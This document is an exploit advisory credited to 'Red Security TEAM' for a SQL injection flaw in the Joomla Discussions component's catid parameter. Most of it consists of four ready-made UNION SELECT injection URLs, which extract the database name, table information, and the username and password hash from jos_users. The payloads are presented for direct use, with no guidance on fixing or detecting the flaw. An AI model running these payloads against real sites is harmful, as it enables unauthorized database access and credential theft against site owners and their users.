Joomla Discussions Component (com_discussions) SQL Injection

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# Title     : Joomla Discussions Component (com_discussions) SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 17/01/2012
# Risk      : High
# Software  : http://extensions.joomla.org/extensions/communication/forum/13560
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
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# Exploit   :
# http://server/index.php?option=com_discussions&view=thread&catid=[SQLi]
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# Example   :
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# 1. [Get Database Name]
# http://server/index.php?option=com_discussions&view=thread&catid=1' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)--+a
# 2. [Get  Tables  Name]
# http://server/index.php?option=com_discussions&view=thread&catid=1' union all select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema=0x6F7574706F7374715F6F65646576)--+a
# 3. [Get      Username]
# http://server/index.php?option=com_discussions&view=thread&catid=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.username as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
# 4. [Get      Password]
# http://server/index.php?option=com_discussions&view=thread&catid=1' union all select (select concat(0x7e,0x27,unhex(Hex(cast(jos_users.password as char))),0x27,0x7e) from `[Database Name]`.jos_users Order by username limit 0,1) --+a
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